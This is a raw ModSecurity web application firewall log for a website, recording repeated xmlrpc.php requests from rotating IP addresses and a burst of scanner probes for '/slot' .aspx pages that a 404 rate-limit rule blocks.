[Mon Apr 20 22:44:55.403130 2026] [:error] [pid 11352:tid 11422] [client 172.98.33.192:65525] [client 172.98.33.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.192, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY752l10mhMSfJ7ir_lPAAAAIg"]
[Mon Apr 20 22:45:05.932429 2026] [:error] [pid 11351:tid 11398] [client 45.132.115.228:42789] [client 45.132.115.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY78QN8Z1-vktaI_tMy7QAAAEs"]
[Mon Apr 20 22:45:16.485639 2026] [:error] [pid 11441:tid 11449] [client 172.98.33.195:24195] [client 172.98.33.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY7_MixByFUvmh319C1nQAAAMY"]
[Mon Apr 20 22:45:27.008809 2026] [:error] [pid 11494:tid 11510] [client 45.132.115.228:32129] [client 45.132.115.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8B8gko5iFiE8YoyT_0QAAAY4"]
[Mon Apr 20 22:45:37.554553 2026] [:error] [pid 42014:tid 42018] [client 172.98.33.200:64437] [client 172.98.33.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8Ecek-00-ZI0f1NqPWgAAAQI"]
[Mon Apr 20 22:45:48.080601 2026] [:error] [pid 11351:tid 11400] [client 172.98.33.191:34275] [client 172.98.33.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8HAN8Z1-vktaI_tMzKAAAAE0"]
[Mon Apr 20 22:45:58.657466 2026] [:error] [pid 11351:tid 11400] [client 172.98.33.200:32175] [client 172.98.33.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8JgN8Z1-vktaI_tMzOQAAAE0"]
[Mon Apr 20 22:46:09.197580 2026] [:error] [pid 11351:tid 11391] [client 172.98.33.191:46973] [client 172.98.33.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8MQN8Z1-vktaI_tMzYQAAAEQ"]
[Mon Apr 20 22:46:19.713311 2026] [:error] [pid 11494:tid 11510] [client 172.98.33.189:49731] [client 172.98.33.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8O8gko5iFiE8YoyQAFAAAAY4"]
[Mon Apr 20 22:46:30.252450 2026] [:error] [pid 11494:tid 11508] [client 45.132.115.233:22307] [client 45.132.115.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.233, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8Rsgko5iFiE8YoyQAGQAAAYw"]
[Mon Apr 20 22:46:40.766965 2026] [:error] [pid 11494:tid 11505] [client 172.98.33.197:62683] [client 172.98.33.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.197, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8UMgko5iFiE8YoyQAJQAAAYk"]
[Mon Apr 20 22:46:51.303311 2026] [:error] [pid 11350:tid 11370] [client 172.98.33.201:62419] [client 172.98.33.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8W_4EoMBgOJuJnT3fdQAAAAs"]
[Mon Apr 20 22:47:01.861791 2026] [:error] [pid 11350:tid 11373] [client 172.98.33.177:20807] [client 172.98.33.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8Zf4EoMBgOJuJnT3fiwAAAA4"]
[Mon Apr 20 22:47:12.344290 2026] [:error] [pid 11351:tid 11408] [client 172.98.33.193:24917] [client 172.98.33.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8cAN8Z1-vktaI_tM0HAAAAFU"]
[Mon Apr 20 22:47:22.913358 2026] [:error] [pid 42014:tid 42028] [client 45.132.115.226:44359] [client 45.132.115.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.226, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8esek-00-ZI0f1NqPjwAAAQw"]
[Mon Apr 20 22:47:33.437147 2026] [:error] [pid 11351:tid 11408] [client 172.98.33.177:28059] [client 172.98.33.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8hQN8Z1-vktaI_tM0YgAAAFU"]
[Mon Apr 20 22:47:43.972143 2026] [:error] [pid 6928:tid 6952] [client 45.132.115.228:42833] [client 45.132.115.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8jx3y7MHq1iB0qYrGWQAAAVY"]
[Mon Apr 20 22:47:54.498893 2026] [:error] [pid 6928:tid 6950] [client 45.132.115.227:46751] [client 45.132.115.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.227, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8mh3y7MHq1iB0qYrGawAAAVQ"]
[Mon Apr 20 22:48:05.025161 2026] [:error] [pid 11350:tid 11359] [client 45.132.115.232:61997] [client 45.132.115.232] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.232, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8pf4EoMBgOJuJnT3f8QAAAAA"]
[Mon Apr 20 22:48:15.534165 2026] [:error] [pid 42014:tid 42024] [client 45.132.115.233:44321] [client 45.132.115.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.233, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8r8ek-00-ZI0f1NqPqwAAAQg"]
[Mon Apr 20 22:48:26.061100 2026] [:error] [pid 11441:tid 11453] [client 45.132.115.229:33937] [client 45.132.115.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.229, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8usixByFUvmh319C2SAAAAMo"]
[Mon Apr 20 22:48:47.146413 2026] [:error] [pid 11351:tid 11390] [client 172.98.33.189:62851] [client 172.98.33.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8zwN8Z1-vktaI_tM1DQAAAEM"]
[Mon Apr 20 22:48:57.696865 2026] [:error] [pid 11351:tid 11395] [client 45.132.115.228:44483] [client 45.132.115.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY82QN8Z1-vktaI_tM1LQAAAEg"]
[Mon Apr 20 22:49:08.220900 2026] [:error] [pid 11351:tid 11392] [client 172.98.33.178:38021] [client 172.98.33.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY85AN8Z1-vktaI_tM1UQAAAEU"]
[Mon Apr 20 22:49:18.757268 2026] [:error] [pid 11441:tid 11467] [client 45.132.115.226:33165] [client 45.132.115.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.226, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY87sixByFUvmh319C2cQAAANg"]
[Mon Apr 20 22:49:29.325168 2026] [:error] [pid 11441:tid 11445] [client 172.98.33.194:59545] [client 172.98.33.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY8-cixByFUvmh319C2fgAAAMI"]
[Mon Apr 20 22:49:39.868962 2026] [:error] [pid 42014:tid 42035] [client 172.98.33.198:35947] [client 172.98.33.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY9A8ek-00-ZI0f1NqP2AAAARM"]
[Mon Apr 20 22:49:50.399760 2026] [:error] [pid 11494:tid 11511] [client 172.98.33.189:26133] [client 172.98.33.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY9Dsgko5iFiE8YoyQBHQAAAY8"]
[Mon Apr 20 22:50:00.942120 2026] [:error] [pid 42014:tid 42033] [client 172.98.33.194:55643] [client 172.98.33.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY9GMek-00-ZI0f1NqP9gAAARE"]
[Mon Apr 20 22:50:22.035946 2026] [:error] [pid 11351:tid 11387] [client 172.98.33.198:29985] [client 172.98.33.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY9LgN8Z1-vktaI_tM15QAAAEA"]
[Mon Apr 20 22:50:32.521981 2026] [:error] [pid 11351:tid 11394] [client 172.98.33.201:56767] [client 172.98.33.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY9OAN8Z1-vktaI_tM18wAAAEc"]
[Mon Apr 20 22:50:43.063157 2026] [:error] [pid 11350:tid 11362] [client 172.98.33.192:47339] [client 172.98.33.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.192, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY9Q_4EoMBgOJuJnT3hhQAAAAM"]
[Mon Apr 20 22:50:53.595309 2026] [:error] [pid 11494:tid 11513] [client 45.132.115.227:52745] [client 45.132.115.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.227, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY9Tcgko5iFiE8YoyQBYwAAAZE"]
[Mon Apr 20 22:51:04.125334 2026] [:error] [pid 11351:tid 11409] [client 45.132.115.224:48551] [client 45.132.115.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY9WAN8Z1-vktaI_tM2LgAAAFY"]
[Mon Apr 20 22:51:14.680312 2026] [:error] [pid 11441:tid 11462] [client 172.98.33.191:41877] [client 172.98.33.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY9YsixByFUvmh319C24QAAANM"]
[Mon Apr 20 22:51:25.212634 2026] [:error] [pid 42014:tid 42038] [client 172.98.33.189:30841] [client 172.98.33.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY9bcek-00-ZI0f1NqQGQAAARY"]
[Mon Apr 20 22:51:35.732754 2026] [:error] [pid 6928:tid 6931] [client 172.98.33.180:38401] [client 172.98.33.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.180, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY9dx3y7MHq1iB0qYrG8AAAAUE"]
[Mon Apr 20 22:51:46.260278 2026] [:error] [pid 11351:tid 11391] [client 172.98.33.202:30025] [client 172.98.33.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY9ggN8Z1-vktaI_tM2lAAAAEQ"]
[Mon Apr 20 22:51:56.743985 2026] [:error] [pid 11494:tid 11500] [client 45.132.115.231:34265] [client 45.132.115.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.231, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY9jMgko5iFiE8YoyQBoQAAAYQ"]
[Mon Apr 20 22:52:07.293717 2026] [:error] [pid 11351:tid 11387] [client 172.98.33.191:41949] [client 172.98.33.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY9lwN8Z1-vktaI_tM23wAAAEA"]
[Mon Apr 20 22:52:28.333950 2026] [:error] [pid 11494:tid 11512] [client 172.98.33.198:41517] [client 172.98.33.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY9rMgko5iFiE8YoyQBwgAAAZA"]
[Mon Apr 20 22:52:38.890761 2026] [:error] [pid 6928:tid 6936] [client 172.98.33.190:22545] [client 172.98.33.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY9th3y7MHq1iB0qYrHBAAAAUY"]
[Mon Apr 20 22:52:49.460293 2026] [:error] [pid 6928:tid 6949] [client 45.132.115.224:48543] [client 45.132.115.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY9wR3y7MHq1iB0qYrHBwAAAVM"]
[Mon Apr 20 22:53:21.100435 2026] [:error] [pid 11441:tid 11450] [client 172.98.33.198:36121] [client 172.98.33.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY94cixByFUvmh319C3IwAAAMc"]
[Mon Apr 20 22:53:31.629024 2026] [:error] [pid 11441:tid 11446] [client 172.98.33.199:36951] [client 172.98.33.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.199, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY968ixByFUvmh319C3QgAAAMM"]
[Mon Apr 20 22:53:52.748308 2026] [:error] [pid 11350:tid 11361] [client 45.132.115.227:38569] [client 45.132.115.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.132.115.227, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY-AP4EoMBgOJuJnT3jDwAAAAI"]
[Mon Apr 20 22:54:03.305623 2026] [:error] [pid 11351:tid 11403] [client 172.98.33.178:49979] [client 172.98.33.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY-CwN8Z1-vktaI_tM4MwAAAFA"]
[Mon Apr 20 22:54:24.336199 2026] [:error] [pid 11351:tid 11405] [client 172.98.33.192:51037] [client 172.98.33.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.192, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY-IAN8Z1-vktaI_tM4gQAAAFI"]
[Mon Apr 20 22:54:57.602180 2026] [:error] [pid 6928:tid 6939] [client 172.98.33.196:23193] [client 172.98.33.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY-QR3y7MHq1iB0qYrH1AAAAUk"]
[Mon Apr 20 22:55:04.908442 2026] [:error] [pid 42014:tid 42037] [client 54.37.84.47:54064] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aeY-SMek-00-ZI0f1NqQjwAAARU"]
[Mon Apr 20 22:55:06.696189 2026] [:error] [pid 42014:tid 42032] [client 172.98.33.196:64383] [client 172.98.33.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.98.33.196, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeY-Ssek-00-ZI0f1NqQkAAAARA"]
[Mon Apr 20 22:55:06.762409 2026] [:error] [pid 11351:tid 11401] [client 54.37.84.47:35928] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aeY-SgN8Z1-vktaI_tM5WQAAAE4"]
[Mon Apr 20 22:55:08.704491 2026] [:error] [pid 11350:tid 11360] [client 54.37.84.47:35930] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aeY-TP4EoMBgOJuJnT3j9gAAAAE"]
[Mon Apr 20 22:55:10.670366 2026] [:error] [pid 42014:tid 42028] [client 54.37.84.47:35932] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aeY-Tsek-00-ZI0f1NqQlAAAAQw"]
[Mon Apr 20 22:55:12.787887 2026] [:error] [pid 11494:tid 11497] [client 54.37.84.47:35940] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aeY-UMgko5iFiE8YoyQC6QAAAYE"]
[Mon Apr 20 22:55:14.615650 2026] [:error] [pid 11350:tid 11372] [client 54.37.84.47:35954] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aeY-Uv4EoMBgOJuJnT3j_QAAAA0"]
[Mon Apr 20 22:55:16.509704 2026] [:error] [pid 11350:tid 11364] [client 54.37.84.47:48746] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aeY-VP4EoMBgOJuJnT3kIwAAAAU"]
